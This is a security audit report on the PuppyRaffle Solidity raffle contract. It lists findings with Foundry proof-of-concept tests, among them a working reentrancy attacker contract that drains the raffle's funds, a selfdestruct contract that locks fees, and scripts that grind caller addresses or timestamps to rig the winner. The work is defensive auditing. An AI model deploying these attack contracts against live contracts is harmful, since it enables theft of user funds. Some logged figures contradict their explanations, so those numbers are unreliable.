

PuppyRaffle Audit Report

Version 1.0

Mohammad Ayaan

moayaan.com

November 13, 2026

Prepared by: Mohammad Ayaan

Lead Auditors:

- Mohammad Ayaan

Table of Contents

Table of Contents
Protocol Summary
Disclaimer
Risk Classification
Audit Details
    Scope
    Roles
Executive Summary
    Issues found
Findings
High
    [H-1] Unchecked looping for duplicate checking in `PuppyRaffle::enterRaffle` function, can lead to a DoS attack with high gas fees!
    [H-2] External call made before state change in `refund` function, an open invitation for a reentrancy attack
    [H-3] Weak randomness in `PuppyRaffle::selectWinner` function, an attacker can grind the block values and hand-pick the winner and the puppy rarity
    [H-4] Mishandling of ETH in `PuppyRaffle::withdrawFees` function, selfdestruct can break the strict balance check and lock the fees forever
Medium
    [M-1] Arithmetic overflow in `PuppyRaffle::selectWinner`, `totalFees` wraps around because the contract runs Solidity 0.7.6
    [M-2] Unsafe casting of `uint256` down to `uint64` in `PuppyRaffle::selectWinner`, the recorded fee silently loses most of its value
Low
    [L-1] Loop based membership check in `PuppyRaffle::_isActivePlayer` function, it should use a mapping instead of iterating the array

Question

[Q-1] Missing check for an empty players array in `PuppyRaffle::enterRaffle` function, can lead to a 0 ETH call that emits `RaffleEnter` and wastes gas

Informational

[I-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for inactive players, making "not found" look exactly like the player at index 0

[I-2] Floating and outdated pragma in `PuppyRaffle` contract, the old compiler version misses built-in overflow checks and other fixes

[I-3] Non-constant image URI variables in `PuppyRaffle` contract, they never change and only cost gas at deployment

[I-4] Missing zero value checks on the constructor parameters in `PuppyRaffle` constructor, a misconfigured deployment can be impossible to fix

[I-5] No early return for an empty players array in `PuppyRaffle::enterRaffle` function, a call that adds nobody still loops and emits `RaffleEnter`

[I-6] Storage array length is read on every iteration in `PuppyRaffle::getActivePlayerIndex` function, caching it in memory saves gas

[I-7] Magic numbers for the prize and fee split in `PuppyRaffle::selectWinner` function, the 80/20 values should be named constants

[I-8] Missing zero address check in `PuppyRaffle::changeFeeAddress` function, the owner can accidentally send the fees to `address(0)`

[I-9] Unused `_isActivePlayer` function in `PuppyRaffle` contract, dead code that only adds review surface

Gas

Protocol Summary

PuppyRaffle is a raffle protocol where players pay an entrance fee to enter a draw for a puppy NFT. Duplicate entrants are not allowed, players can refund their ticket, and a winner is drawn after the raffle duration. The pot is split 80% to the winner and 20% to the protocol feeAddress.

Disclaimer

Mohammad Ayaan makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
89ac8aba8a15192b58ec24f4476fd1db96432063
```

The client README pointed at a stale commit hash, so the latest commit was audited from the working branch `audit-by-ayaan` instead.

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

- **Owner:** can change the `feeAddress`.
- **Players:** can enter the raffle and refund their own ticket.
- **Anyone:** can call `selectWinner` once the raffle duration has passed, and `withdrawFees` when no player funds are active.

Executive Summary

This was a time-boxed review of the PuppyRaffle contract, using static analysis with Slither and Aderyn together with manual review. The review found 4 High, 2 Medium, 1 Low, 1 Question and 9 Informational findings. The most serious are the unbounded duplicate-check loop (DoS), the

ReEntrancy in `refund`, the weak randomness in `selectWinner`, and the mishandling of ETH in `withdrawFees`. Every finding is tagged inline in the contract with `// @AUDIT-*` comments, and working Foundry tests were written for every High, Medium and Low finding (27 tests passing in total).

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Question	1
Informational	9
Gas	0
Total	**17**

Findings

High

[H-1] Unchecked looping for duplicate checking in `PuppyRaffle::enterRaffle` function, can lead to a DoS attack with high gas fees!

Description: The `enterRaffle` function has an unchecked loop which can lead to an uncontrolled gas cost increase as players continue to enter the raffle. A black hat can exploit this by entering with thousands (or more) wallet addresses, making it unaffordable for later legitimate users to enter the raffle.

Impact: Uncontrolled gas cost increase can lead to a DoS attack on the protocol.

Proof of Concept: Check the `test_DenialOfService_AUDIT` test in the `PuppyRaffleTest.t.sol` file.

▼ **Here's the full code**

```
    function test_DenialOfService_AUDIT() public {
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // check how much gas it costs for the first 100 players
        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasAfter = gasleft();
        uint256 gasUsedFirst = gasBefore - gasAfter;
        console2.log("Gas used for first 100 players:", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // check how much gas it costs for the second 100 players
        uint256 gasBeforeTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo
        );
        uint256 gasAfterTwo = gasleft();
        uint256 gasUsedTwo = gasBeforeTwo - gasAfterTwo;
        console2.log("Gas used for second 100 players:", gasUsedTwo);

        console2.log("Gas Difference:", gasUsedTwo - gasUsedFirst);

        assert(gasUsedFirst < gasUsedTwo);
    }
```

You can run it via

```
forge test --mt test_DenialOfService_AUDIT -vvv
```

and check the output proving that the gas difference between the first 100 and the next 100 is so massive that it becomes unaffordable. You will get an output like this:

```
Logs:
  Gas used for first 100 players: 6538557
  Gas used for second 100 players: 19242109
  Gas Difference: 12703552
```

Recommended Mitigation: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check only stops the same wallet address, not the same person from entering multiple times.

2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time rather than linear time. Each raffle could have a `uint256` id, and the mapping would map a player address to the raffle id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);
     }
 .
 .
 .
     function selectWinner() external {
+       raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[H-2] External call made before state change in `refund` function, an open invitation for a reentrancy attack

Description: The `refund` function in the `PuppyRaffle` contract is not following the CEI (Checks-Effects-Interactions) pattern, nor does it use OpenZeppelin's reentrancy guard. This can lead to a reentrancy attack by an attacker contract.

Impact: Reentrancy attack as a result of missing reentrancy checks and not following the CEI pattern.

Proof of Concept: Check the `test_ReEntrancy_AUDIT` test & `ReentrancyAttacker` contract in the `PuppyRaffleTest.t.sol` file:

▼ **Here's the full code**

```
    function test_ReEntrancy_AUDIT() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
```

```
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackerAddress = makeAddr("attackerAddress");
        vm.deal(attackerAddress, 1 ether);

        uint256 startingAttackerContractBalance = address(attackerContract)
            .balance;
        uint256 startingRaffleBalance = address(puppyRaffle).balance;

        console2.log(
            "Starting Attacker Contract Balance:",
            startingAttackerContractBalance
        );

        console2.log(
            "Starting Raffle Contract Balance:",
            startingRaffleBalance
        );

        // attack
        vm.prank(attackerAddress);
        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackerContractBalance = address(attackerContract)
            .balance;
        uint256 endingRaffleBalance = address(puppyRaffle).balance;

        console2.log(
            "Ending Attacker Contract Balance:",
            endingAttackerContractBalance
        );

        console2.log("Ending Raffle Contract Balance:", endingRaffleBalance);
    }
```

▼ **Here's the full code**

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 attackerIndex;
    uint256 entranceFee;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
```

```
        }
    }
    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

It proves that the contract is vulnerable to reentrancy attacks and that funds can easily be stolen.

Run the foundry test:

```
forge test --mt test_ReEntrancy_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  Starting Attacker Contract Balance: 0
  Starting Raffle Contract Balance: 4000000000000000000
  Ending Attacker Contract Balance: 5000000000000000000
  Ending Raffle Contract Balance: 0
```

Recommended Mitigation: 1. Use OpenZeppelin's `ReentrancyGuard` and apply the `nonReentrant` modifier to the `refund` function.

2. Or follow the CEI (Checks-Effects-Interactions) pattern by updating the contract state before making the external call:

```
     function refund(uint256 playerIndex) public {
         address playerAddress = players[playerIndex];
         require(
             playerAddress == msg.sender,
             "PuppyRaffle: Only the player can refund"
         );
         require(
             playerAddress != address(0),
             "PuppyRaffle: Player already refunded, or is not active"
         );

-        payable(msg.sender).sendValue(entranceFee);
-
-        // @AUDIT-HIGH:: ReEntrancy attack possible here, since we are sending
value before setting the player to address(0). Consider using Checks-Effects-
Interactions pattern to prevent reentrancy attacks.
         players[playerIndex] = address(0);
+
+        payable(msg.sender).sendValue(entranceFee);
+
         emit RaffleRefunded(playerAddress);
     }
```

[H-3] Weak randomness in `PuppyRaffle::selectWinner` function, an attacker can grind the block values and hand-pick the winner and the puppy rarity

Description: `selectWinner` derives the winner from `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length`, and derives the puppy `rarity` from the same kind of hash. None of those inputs are actually random, since `msg.sender` is just whoever calls the function and the block values are chosen by the block producer, so an attacker can grind them and hand-pick both the winner and the rarity.

Impact: An attacker who can influence the block values can guarantee that they win the raffle and get the puppy rarity they want

Proof of Concept: Check the `test_WeakRandomness_AUDIT` and `test_WeakRandomnessRarity_AUDIT` tests in the `PuppyRaffleTest.t.sol` file:

▼ **Here's the full code**

```
    function test_WeakRandomness_AUDIT() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // the attacker is playerFour (index 3) and grinds block.timestamp until
they win
        uint256 startTime = block.timestamp + duration + 1;
        bool found;
        uint256 winningTimestamp;
        for (uint256 t = startTime; t < startTime + 100; t++) {
            // this copies EXACTLY the formula used inside selectWinner()
            uint256 index = uint256(
                keccak256(abi.encodePacked(address(this), t, block.difficulty))
            ) % players.length;
            if (index == 3) {
                winningTimestamp = t;
                found = true;
                break;
            }
        }
        assertTrue(found, "attacker found a winning timestamp");

        vm.warp(winningTimestamp);
        vm.roll(block.number + 1);
        console2.log("Winning timestamp found by attacker:", winningTimestamp);

        puppyRaffle.selectWinner();

        console2.log(
            "Winner is playerFour (the attacker):",
            puppyRaffle.previousWinner() == playerFour
        );
```

```
        assertEq(puppyRaffle.previousWinner(), playerFour);
    }
```

You can run it via

```
forge test --mt test_WeakRandomness_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  Winning timestamp found by attacker: 86402
  Winner is playerFour (the attacker): true
```

The attacker simply tries timestamps until the “random” formula lands on their own index, then triggers the draw at that exact timestamp.

▼ **Here’s the full code**

```
    // THIS TEST WAS WRITTEN BY DEEPSEEK HARNESS SO I CAN UNDERSTAND DEEPLY MYSELF
    function test_WeakRandomnessRarity_AUDIT() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // the raffle has to be over before the draw, so this is the timestamp
        // the attacker will be executing at
        uint256 drawTime = block.timestamp + duration + 1;
        vm.warp(drawTime);
        vm.roll(block.number + 1);

        // the attacker does not even have to be a player, they only have to be
        // the caller, because msg.sender sits inside both hashes
        address attacker;
        uint256 winningIndex;
        uint256 chosenRarity;

        // grind over caller addresses until one of them picks playerFour as the
        // winner AND hands them a legendary puppy
        for (uint256 i = 0; i < 5000; i++) {
            address candidate = address(uint160(1000 + i));

            // these are the same two expressions used inside selectWinner()
            uint256 index = uint256(
                keccak256(
                    abi.encodePacked(candidate, drawTime, block.difficulty)
                )
            ) % players.length;
            uint256 rarity = uint256(
                keccak256(abi.encodePacked(candidate, block.difficulty))
            ) % 100;

            // index 3 is playerFour, rarity 96-99 is LEGENDARY_RARITY
            if (index == 3 && rarity > 95) {
                attacker = candidate;
                winningIndex = index;
```

```
                chosenRarity = rarity;
                break;
            }
        }

        assertTrue(
            attacker != address(0),
            "attacker found a caller for winner + legendary"
        );

        vm.prank(attacker);
        puppyRaffle.selectWinner();

        console2.log("caller address picked by attacker:", attacker);
        console2.log("winning index:", winningIndex);
        console2.log("rarity rolled by attacker:", chosenRarity);
        console2.log(
            "rarity stored on the minted token:",
            puppyRaffle.tokenIdToRarity(0)
        );

        assertEq(puppyRaffle.previousWinner(), playerFour);
        assertEq(puppyRaffle.tokenIdToRarity(0), 5);
    }
```

You can run it via

```
forge test --mt test_WeakRandomnessRarity_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  caller address picked by attacker: 0x000000000000000000000000000000000000041c
  winning index: 3
  rarity rolled by attacker: 97
  rarity stored on the minted token: 5
```

Here the attacker does not even have to be a player, they only have to be the caller, and they grind caller addresses until one of them wins the raffle for them and rolls a legendary puppy.

Recommended Mitigation: 1. Use a verifiable randomness oracle instead of block values. Chainlink VRF generates randomness on-chain that cannot be predicted or manipulated, which is the standard fix for this class of bug.

2. Stop using `block.timestamp` and `block.difficulty` as randomness sources in the first place. Both are chosen by the block producer, which is exactly why they can be ground until the outcome is favourable.

[H-4] Mishandling of ETH in `PuppyRaffle::withdrawFees` function, selfdestruct can break the strict balance check and lock the fees forever

Description: `withdrawFees` only works while `address(this).balance == uint256(totalFees)`, and anyone can break that equality by forcing ETH in with `selfdestruct`, since the contract has no `receive` or `fallback`.

Impact: Anyone can permanently block fee withdrawals with a single selfdestruct

Proof of Concept: Check the `test_MishandlingOfETH_AUDIT` test & `ETHForcer` contract in the `PuppyRaffleTest.t.sol` file:

▼ **Here's the full code**

```
    function test_MishandlingOfETH_AUDIT() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        // after a normal draw the contract holds exactly the recorded fees,
        // which is the only state where withdrawFees is allowed to run
        console2.log("totalFees recorded:", uint256(puppyRaffle.totalFees()));
        console2.log("raffle balance:", address(puppyRaffle).balance);
        assertEq(
            address(puppyRaffle).balance,
            uint256(puppyRaffle.totalFees())
        );

        // the contract has no receive or fallback, so the only way ETH gets in
        // is by force feeding it with selfdestruct
        ETHForcer forcer = new ETHForcer{value: 1 ether}();
        forcer.attack(payable(address(puppyRaffle)));

        console2.log(
            "raffle balance after force feed:",
            address(puppyRaffle).balance
        );

        // the equality can never hold again, so the fees are stuck forever
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();

        assertGt(
            address(puppyRaffle).balance,
            uint256(puppyRaffle.totalFees())
        );
        console2.log("feeAddress balance:", address(feeAddress).balance);
        assertEq(address(feeAddress).balance, 0);
    }
```

The attacker contract:

▼ **Here's the full code**

```
contract ETHForcer {
    constructor() payable {}

    // selfdestruct pushes the whole balance into the target, and the target
    // cannot refuse it, even without a receive or fallback function
    function attack(address payable target) external {
        selfdestruct(target);
    }
}
```

You can run it via

```
forge test --mt test_MishandlingOfETH_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  totalFees recorded: 800000000000000000
  raffle balance: 800000000000000000
  raffle balance after force feed: 1800000000000000000
  feeAddress balance: 0
```

The raffle starts out holding exactly the fees it owes, one selfdestruct pushes the balance above `totalFees`, and from then on `withdrawFees` reverts even though no players are active.

Recommended Mitigation: 1. Use a `>=` check instead of `==`, since the contract only needs to hold *at least* the fees it owes:

```
-        address(this).balance == uint256(totalFees),
+        address(this).balance >= uint256(totalFees),
```

2. Never use the contract balance for accounting, since ETH can always be forced in. Track the players' funds in their own variable and check that instead:

```
+    uint256 public playerFunds;

     // enterRaffle
+    playerFunds += msg.value;

     // refund, when a player takes their fee back
+    playerFunds -= entranceFee;

     // selectWinner, after the prize and the fee are accounted for
+    playerFunds = 0;

     // withdrawFees
-        address(this).balance == uint256(totalFees),
+        playerFunds == 0,
```

Medium

[M-1] Arithmetic overflow in `PuppyRaffle::selectWinner`, `totalFees` wraps around because the contract runs Solidity 0.7.6

Description: The line `totalFees = totalFees + uint64(fee);` runs on Solidity `0.7.6`, where arithmetic overflow does **not** revert. It silently wraps around. As soon as the running total passes the maximum value of `uint64` (`18,446,744,073,709,551,615`), `totalFees` rolls back down instead of continuing to grow, and every fee recorded after that point is wrong.

Impact: The fee record can lead to overflow.

Proof of Concept: Check the `test_ArithmeticOverflow_AUDIT` test in the `PuppyRaffleTest.t.sol` file:

▼ **Here's the full code**

```
    function test_ArithmeticOverflow_AUDIT() public {
        // a separate raffle with a big entrance fee, so totalFees gets close to
uint64 max
        uint256 bigEntranceFee = 1.5e19;
        PuppyRaffle bigRaffle = new PuppyRaffle(
            bigEntranceFee,
            feeAddress,
            duration
        );

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        uint256 feePerRaffle = (4 * bigEntranceFee * 20) / 100;

        // raffle 1
        bigRaffle.enterRaffle{value: bigEntranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        bigRaffle.selectWinner();
        console2.log(
            "totalFees after raffle 1:",
            uint256(bigRaffle.totalFees())
        );

        // raffle 2
        bigRaffle.enterRaffle{value: bigEntranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        bigRaffle.selectWinner();
        console2.log(
            "totalFees after raffle 2:",
            uint256(bigRaffle.totalFees())
        );
```

```
        // the two fees should add up, but uint64 wraps around instead
        uint256 expectedWithoutOverflow = feePerRaffle * 2;
        console2.log("expected without overflow:", expectedWithoutOverflow);

        assertTrue(expectedWithoutOverflow > type(uint64).max);
        assertEq(bigRaffle.totalFees(), expectedWithoutOverflow - 2**64);
    }
```

You can run it via

```
forge test --mt test_ArithmeticOverflow_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  totalFees after raffle 1: 12000000000000000000
  totalFees after raffle 2: 5553255926290448384
  expected without overflow: 24000000000000000000
```

Two fees of 12 ETH each should add up to 24 ETH, but `totalFees` records only about 5.55 ETH instead.

Recommended Mitigation: 1. Use OpenZeppelin's SafeMath for the addition, and widen `totalFees` to `uint256` so SafeMath can be applied cleanly:

```
+ import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";

  contract PuppyRaffle is ERC721, Ownable {
+     using SafeMath for uint256;

-     uint64 public totalFees = 0;
+     uint256 public totalFees = 0;

-        totalFees = totalFees + uint64(fee);
+        totalFees = totalFees.add(fee);
```

2. Better yet, upgrade to the latest Solidity version. From `0.8.0` onwards `+` reverts on overflow automatically, so SafeMath is not needed at all and this whole class of bug disappears.

[M-2] Unsafe casting of `uint256` down to `uint64` in `PuppyRaffle::selectWinner`, the recorded fee silently loses most of its value

Description: `totalFees = totalFees + uint64(fee);` casts a `uint256` `fee` down to `uint64`. Explicit narrowing casts in Solidity never revert, they simply cut off the higher-order bits. Since `fee` is 20% of everything collected, it crosses the `uint64` maximum (`18,446,744,073,709,551,615`, about 18.45 ETH) as soon as a single raffle collects more than

roughly 92 ETH, and everything above that limit is silently dropped. Worth noting this still happens on Solidity `0.8+`, because the built-in overflow checks only cover arithmetic (`+`, `-`, `*`), not type conversions.

Impact: `totalFees` records only a fraction of the real fee.

Proof of Concept: Check the `test_UnsafeCasting_AUDIT` test in the `PuppyRaffleTest.t.sol` file:

▼ **Here's the full code**

```
    function test_UnsafeCasting_AUDIT() public {
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + 100);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 expectedFee = (playersNum * entranceFee * 20) / 100;
        uint256 truncatedFee = uint256(uint64(expectedFee));

        puppyRaffle.selectWinner();

        console2.log("expected fee:", expectedFee);
        console2.log(
            "totalFees actually recorded:",
            uint256(puppyRaffle.totalFees())
        );

        // the fee is bigger than uint64 max, so the cast silently truncates it
        assertTrue(expectedFee > type(uint64).max);
        assertEq(uint256(puppyRaffle.totalFees()), truncatedFee);
    }
```

You can run it via

```
forge test --mt test_UnsafeCasting_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  expected fee: 2000000000000000000
  totalFees actually recorded: 1553255926290448384
```

A 20 ETH fee gets recorded as about 1.55 ETH, with no revert and no warning.

Recommended Mitigation: 1. Widen `totalFees` to `uint256`, so the cast disappears entirely and nothing can be truncated:

```
-     uint64 public totalFees = 0;
+     uint256 public totalFees = 0;

-         totalFees = totalFees + uint64(fee);
+         totalFees = totalFees + fee;
```

2. If `uint64` has to stay for packing reasons, use OpenZeppelin's SafeCast so the conversion reverts instead of silently truncating:

```
+ import {SafeCast} from "@openzeppelin/contracts/utils/SafeCast.sol";

  contract PuppyRaffle is ERC721, Ownable {
+     using SafeCast for uint256;

-         totalFees = totalFees + uint64(fee);
+         totalFees = totalFees + fee.toUint64();
```

Note that this turns silent corruption into a revert, so the raffle would stop working once the fee passes the limit. Widening the type is still the real fix.

Low

[L-1] Loop based membership check in `PuppyRaffle::_isActivePlayer` function, it should use a mapping instead of iterating the array

Description: `_isActivePlayer` scans the whole `players` array to answer a yes or no question. This is the same unbounded loop pattern as `H-1`, and it gets more expensive with every player that enters.

Impact: No impact while the function is unused, but it would be a gas problem the moment it is called.

Proof of Concept: Check the `test_LoopBasedMembershipCheck_AUDIT` test in the `PuppyRaffleTest.t.sol` file. It measures `getActivePlayerIndex`, since `_isActivePlayer` is internal and never called, and the two loops are identical:

▼ **Here's the full code**

```
    function test_LoopBasedMembershipCheck_AUDIT() public {
        // 10 players, and we look up the last one so the loop runs fully
        address[] memory tenPlayers = new address[](10);
        for (uint256 i = 0; i < 10; i++) {
            tenPlayers[i] = address(uint160(1000 + i));
        }
        puppyRaffle.enterRaffle{value: entranceFee * 10}(tenPlayers);

        uint256 gasBefore = gasleft();
```

```
        puppyRaffle.getActivePlayerIndex(tenPlayers[9]);
        uint256 gasWithTenPlayers = gasBefore - gasleft();

        // 90 more players, 100 in total
        address[] memory morePlayers = new address[](90);
        for (uint256 i = 0; i < 90; i++) {
            morePlayers[i] = address(uint160(2000 + i));
        }
        puppyRaffle.enterRaffle{value: entranceFee * 90}(morePlayers);

        gasBefore = gasleft();
        puppyRaffle.getActivePlayerIndex(morePlayers[89]);
        uint256 gasWithHundredPlayers = gasBefore - gasleft();

        console2.log("gas with 10 players:", gasWithTenPlayers);
        console2.log("gas with 100 players:", gasWithHundredPlayers);
        console2.log(
            "Gas Difference:::::",
            gasWithHundredPlayers - gasWithTenPlayers
        );

        // the same lookup costs more as the array grows
        assert(gasWithHundredPlayers > gasWithTenPlayers);
    }
```

You can run it via

```
forge test --mt test_LoopBasedMembershipCheck_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  gas with 10 players: 28544
  gas with 100 players: 255164
  Gas Difference::::: 226620
```

The same lookup costs about 9x more gas with 100 players, since every call walks the whole array.

Recommended Mitigation: 1. If the function is kept, track membership with a mapping that is written on entry and cleared on refund, instead of looping:

```
+    mapping(address => bool) public isActivePlayer;
...
+        isActivePlayer[newPlayers[i]] = true;
...
     function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
+        return isActivePlayer[msg.sender];
     }
```

2. Otherwise remove the function, as recommended in `I-9`.

Question

[Q-1] Missing check for an empty players array in `PuppyRaffle::enterRaffle` function, can lead to a 0 ETH call that emits `RaffleEnter` and wastes gas

Description: `enterRaffle` only checks that the value sent matches the entrance fee, so an empty array means `0 == 0` and the call goes through without adding a single player:

```
require(
    msg.value == entranceFee * newPlayers.length,
    "PuppyRaffle: Must send enough to enter raffle"
);
```

The contract still emits `RaffleEnter` with an empty array, paying gas for a call that does nothing. Is this intended, or should a call that adds no players be rejected?

Impact: A call that adds no players still emits `RaffleEnter` and wastes the caller's gas.

Informational

[I-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for inactive players, making "not found" look exactly like the player at index 0

Description: The `getActivePlayerIndex` function loops over the `players` array and returns the index when it finds the player. But when the player is NOT in the raffle, it falls through the loop and returns `0`. Since `0` is also a completely valid index (the first player), a caller has no way to tell "this player sits at index 0" apart from "this player never entered the raffle".

Impact: Inactive players get reported as index 0, so any contract or frontend trusting this return value can act on the wrong player.

Proof of Concept: Check the `test_GetActivePlayerIndex_AUDIT` test in the `PuppyRaffleTest.t.sol` file:

▼ **Here's the full code**

```
    function test_GetActivePlayerIndex_AUDIT() public {
        address[] memory players = new address[](1);
        players[0] = playerOne;
```

```
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        address notAPlayer = makeAddr("notAPlayer");

        uint256 indexOfRealPlayer = puppyRaffle.getActivePlayerIndex(playerOne);
        uint256 indexOfInactivePlayer = puppyRaffle.getActivePlayerIndex(
            notAPlayer
        );

        console2.log("Index of playerOne:", indexOfRealPlayer);
        console2.log("Index of inactive player:", indexOfInactivePlayer);

        // both return 0, so they are indistinguishable
        assertEq(indexOfRealPlayer, indexOfInactivePlayer);
        assertEq(puppyRaffle.players(0), playerOne);
    }
```

You can run it via

```
forge test --mt test_GetActivePlayerIndex_AUDIT -vvv
```

and you will see something like this:

```
Logs:
  Index of playerOne: 0
  Index of inactive player: 0
```

The player who entered and the player who never entered both come back as `0`.

Recommended Mitigation: 1. Revert when the player cannot be found, so the failure is explicit instead of silently looking like index 0:

```
     function getActivePlayerIndex(
         address player
     ) external view returns (uint256) {
         for (uint256 i = 0; i < players.length; i++) {
             if (players[i] == player) {
                 return i;
             }
         }
-        return 0;
+        revert("PuppyRaffle: Player is not active");
     }
```

2. Or return a sentinel value that can never be a valid array index, and let the caller handle it:

```
-        return 0;
+        // type(uint256).max is never a valid index
+        return type(uint256).max;
```

[I-2] Floating and outdated pragma in `PuppyRaffle` contract, the old compiler version misses built-in overflow checks and other fixes

Description: The contract starts with `pragma solidity ^0.7.6`, which is both floating and several years old. A floating pragma lets the contract be compiled with any `0.7.x` version, and `0.7.6` has no built-in overflow checks, which is the root of `M-1`.

Impact: No impact on its own, but the old version is what makes the overflow in `M-1` possible in the first place.

Recommended Mitigation: 1. Pin the pragma to the exact version the code was tested with, instead of allowing a range:

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

2. Better, upgrade to `0.8.x`, where `+`, `-` and `*` revert on overflow automatically:

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.20;
```

[I-3] Non-constant image URI variables in `PuppyRaffle` contract, they never change and only cost gas at deployment

Description: `commonImageUri`, `rareImageUri` and `legendaryImageUri` are regular storage variables holding `ipfs://` strings, and they are only read once in the constructor to fill up `rarityToUri`. Marking them `constant` removes those storage writes and reads completely.

Impact: No security impact, just wasted gas at deployment and a false signal that these values are meant to change.

Recommended Mitigation:

```
-    string private commonImageUri =
+    string private constant commonImageUri =
         "ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

The same applies to `rareImageUri` and `legendaryImageUri`.

[I-4] Missing zero value checks on the constructor parameters in `PuppyRaffle` constructor, a misconfigured deployment can be impossible to fix

Description: `entranceFee`, `feeAddress` and `raffleDuration` are assigned in the constructor without any validation. Because `entranceFee` is `immutable`, a fee of `0` would make every entry free for the lifetime of the contract.

Impact: A zero entrance fee can never be corrected, and a zero `feeAddress` sends the fees to `address(0)` until the owner notices.

Recommended Mitigation:

```
      ) ERC721("Puppy Raffle", "PR") {
+        require(_entranceFee > 0, "PuppyRaffle: Entrance fee cannot be zero");
+        require(_feeAddress != address(0), "PuppyRaffle: Fee address cannot be
zero");
+        require(_raffleDuration > 0, "PuppyRaffle: Duration cannot be zero");
         entranceFee = _entranceFee;
```

[I-5] No early return for an empty players array in `PuppyRaffle::enterRaffle` function, a call that adds nobody still loops and emits `RaffleEnter`

